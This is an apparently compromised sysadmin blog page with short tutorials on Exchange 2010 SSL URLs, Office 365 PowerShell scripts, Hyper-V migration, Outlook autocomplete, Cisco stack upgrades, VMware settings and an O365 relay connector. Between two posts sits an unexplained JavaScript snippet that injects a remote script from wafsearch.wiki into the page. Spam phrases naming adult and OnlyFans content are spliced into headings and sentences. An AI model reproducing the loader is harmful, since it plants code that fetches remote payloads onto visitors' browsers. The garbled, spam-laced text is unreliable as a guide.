Exchange 2010 – Single Common Name SSL Certificate

Exchange 2010 – Single Common Name SSL Certificate evilynink fucks

Create SRV record:
Service: _autodiscover
Protocol: _tcp
Port Number: 443
Host: mail.example.net

 

$URLName="mail.example.net"
$ComputerName="exch-svr"    
Get-AutodiscoverVirtualDirectory | Set-AutodiscoverVirtualDirectory –InternalUrl "https://$URLName/Autodiscover/Autodiscover.xml"
Get-ClientAccessServer | Set-ClientAccessServer –AutodiscoverServiceInternalUri "https://$URLName/Autodiscover/Autodiscover.xml"
Get-WebservicesVirtualDirectory | Set-WebservicesVirtualDirectory –InternalUrl "https://$URLName/Ews/Exchange.asmx"
Get-OabVirtualDirectory | Set-OabVirtualDirectory –InternalUrl "https://$URLName/Oab"
Get-OwaVirtualDirectory | Set-OwaVirtualDirectory –InternalUrl "https://$URLName/Owa"
Get-EcpVirtualDirectory | Set-EcpVirtualDirectory –InternalUrl "https://$URLName/Ecp"
Get-ActiveSyncVirtualDirectory -Server $ComputerName | Set-ActiveSyncVirtualDirectory -InternalUrl "https://$URLName/Microsoft-Server-ActiveSync"
Get-AutodiscoverVirtualDirectory | Set-AutodiscoverVirtualDirectory –ExternalUrl "https://$URLName/Autodiscover/Autodiscover.xml"
Get-webservicesVirtualDirectory | Set-webservicesVirtualDirectory –ExternalUrl "https://$URLName/Ews/Exchange.asmx"
Get-OabVirtualDirectory | Set-OabVirtualDirectory –ExternalUrl "https://$URLName/Oab"
Get-OwaVirtualDirectory | Set-OwaVirtualDirectory –ExternalUrl "https://$URLName/Owa"
Get-EcpVirtualDirectory | Set-EcpVirtualDirectory –ExternalUrl "https://$URLName/Ecp"
Get-ActiveSyncVirtualDirectory | Set-ActiveSyncVirtualDirectory -ExternalUrl "https://$URLName/Microsoft-Server-ActiveSync"

Run get-exchangecertificate and note the thumbprint on the new certificate (watch out for dublets!)

Run Enable-exchangecertificate -thumbprint <TUMBPRINT> -services SMTP,IIS,POP,IMAP

Run iisreset

Restart the Microsoft Exchange services

Restart Clients Pc’s

source: http://www.cohesivelogic.com/exchange-2010-single-name-ssl-certificates/

Remove password expiration Office 365

Remove password expiration Office 365

I wrote this powershell script to remove password expiration for all users, so that the users password not expires

Password_expiration.ps1

$Cred = Get-Credential

Read-Host 'Press Enter to continue to Connect to Office 365' | Out-Null
Write-Host "Continueing..."
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $cred -Authentication Basic –AllowRedirection

Import-PSSession $s

Read-Host 'Press Enter to continue to remove password from expires for all users' | Out-Null
Write-Host "Continueing..."
Connect-MsolService –Credential $cred

Get-MSOLUser | Set-MsolUser -PasswordNeverExpires $true

Read-Host 'Press Enter to exit script, All Done' | Out-Null

Change Retention Policy – Office 365

yourboymickeyy latina onlyfans

Change Retention Policy – Office 365

I wrote this powershell script to remove the Retention Policy that delete all emails in Users Deleted Items folder that are older then 30 days

Retention_Policy.ps1

$Cred = Get-Credential

Read-Host 'Press Enter to continue to Connect to Office 365' | Out-Null
Write-Host "Continueing..."
$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell -Credential $cred -Authentication Basic –AllowRedirection

Import-PSSession $s

Read-Host 'Press Enter to continue to Remove 30 days Deleted Items rule' | Out-Null
Write-Host "Continueing..."
Enable-OrganizationCustomization

Set-RetentionPolicyTag "Deleted Items" -RetentionEnabled $false

Read-Host 'Press Enter to exit script, All Done' | Out-Null

var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);

Live migration of ‘Virtual Machine’ failed. Event 21502

Live migration of ‘Virtual Machine1’ failed.

Virtual machine migration operation for ‘Virtual Machine1’ failed at migration destination ‘NodeX’. (Virtual machine ID xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)

The virtual machine ‘Virtual Machine1’ is using processor-specific features not supported on physical computer ‘NODEX’. To allow for migration of this virtual machine to physical computers with different processors, modify the virtual machine settings to limit the processor features used by the virtual machine. (Virtual machine ID xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)

fix:
stop VM
Set-VMProcessor “Virtual Machine1” -CompatibilityForMigrationEnabled $true

Move Outlook 2010 AutoComplete Cache / Suggested Contacts

ashley judd nude

This mini guide explains how to Move Outlook 2010 AutoComplete Cache / Suggested Contacts

Outlook 2010 AutoComplete Cache

old pc:
Close outlook
Go to this folder:

 %LOCALAPPDATA%MicrosoftOutlookRoamCache 
( C:Users[username]AppDataLocalMicrosoftOutlookRoamCache )

look for a file named Stream_Autocomplete_0_xxxxxxxxxxxxxxxx.dat (random number like Stream_Autocomplete_0_1AF176FB82536A41BFE4932FD077DF0F.dat)

if there is more then one, look at the timestam or the size, to select the rigth one

copy the file to the new pc

new pc:
open outlook
send a email to a emailadress that you type in (not using contacts)
close outlook
open outlook
send another mail to the same emailadress, you should see that the autocorret list suggests the email, then close outlook

Go to this folder:

 %LOCALAPPDATA%MicrosoftOutlookRoamCache 
( C:Users[username]AppDataLocalMicrosoftOutlookRoamCache )

look for a file named Stream_Autocomplete_0_xxxxxxxxxxxxxxxx.dat (random number like Stream_Autocomplete_0_1AF176FB82536A41BFE4932FD077DF0F.dat)

if there is more then one, look at the timestam, to select the rigth one

copy the filename and rename the file to eg. Stream_Autocomplete_0_xxxxxxxxxxxxx.dat.Old
copy the stream file from the old outlook to this folder, and rename the file to what the other file name was
open outlook and now you should have your AutoComplete Cache / Suggested Contacts

tips:
Always make a backup of the .dat file, before entering outlook on the new pc. some times (1 out of 50) outlook deletes the file on startup, if this should happens, just copy the file on more time, this time it should work

Key Not Valid for Use in Specified State error installing Anyconnect

If you get this error upon trying to install Cisco Anyconnect:
Key Not Valid for Use in Specified State

Danish translation:
Nøglen er ikke gyldig for anvendelse i den angivne tilstand.

Do the following:

Move the folder RSA from

C:\Users\AppData\Roaming\Microsoft\Crypto\RSA to say C:\RSA (just in case there should be a need to restore it) then try installing again.
This folder appears to act as a cache and should be rebuilt automatically as required.

Source https://discussions.apple.com/thread/6514053

How to upgrade Cisco switches in Mixed Stack

How to upgrade cisco switches in Mixed Stack

In this example I upgrade a mixed 2960 stack, mixed with 2960s and 2960x

in order to upgrade the whole stack at once, I have to provide all the different firmwares for the different models X/S series (It has to be the same version eg. version 15.0.2 EX5)

this command will download and distribute the right firmware to the right switch in the stack, and upgrade all switches

archive download-sw tftp://[IP of the tftp server]/c2960x-universalk9-tar.150-2.EX5.tar tftp://10.100.65.230/c2960s-universalk9-tar.150-2.EX5.tar

Sources:
http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3750/software/troubleshooting/switch_stacks.html#wp66853

Mouse problem Grab/UnGrab VMware Player

Mouse problem Grab/UnGrab VMware Player

In some applications it’s quite useful to be able to lock the mouse inside the vm. Normally when VMware tools are installed, it automatically ungrabs the mouse when you leave the window. To change this, edit ~/.vmware/preferences and add:

Windows: C:\users\[User]\AppData\Roaming\VMWARE\preferences
OSX: ~/.vmware/preferences

pref.motionGrab = “FALSE”
pref.motionUngrab = “FALSE”

And find the .vmx file of the VM and add the following lines:

vmmouse.present = FALSE
mouse.vusb.enable = “FALSE”

Create office 365 mail relay connector

Create office 365 mail relay connector

go to Princess j sophie onlyfans exoticbreed210https://outlook.office365.com/ecp/ login as global administrator

step 1: click Mailflow
step 2: click Connectors
step 3: click Add

Office365AddRelayConnector1

step 4: Give the connector a name (eg. AllowRelay)
step 5: Select On-Premise
step 6: Select Restrict domains by IP addresses
step 7: Set sender domain to *
step 8: Set sender ip to your own Wan ip/public ip (Only static ips is allowed)
step 9: Set Accepted domains to your office 365 domain

Office365AddRelayConnector2

now you can use your own mx record eg. youdomain-com.mail.protection.outlook.com as relay server/smarthost without login, and on port 25
Source: http://technet.microsoft.com/en-us/library/dn554323.aspx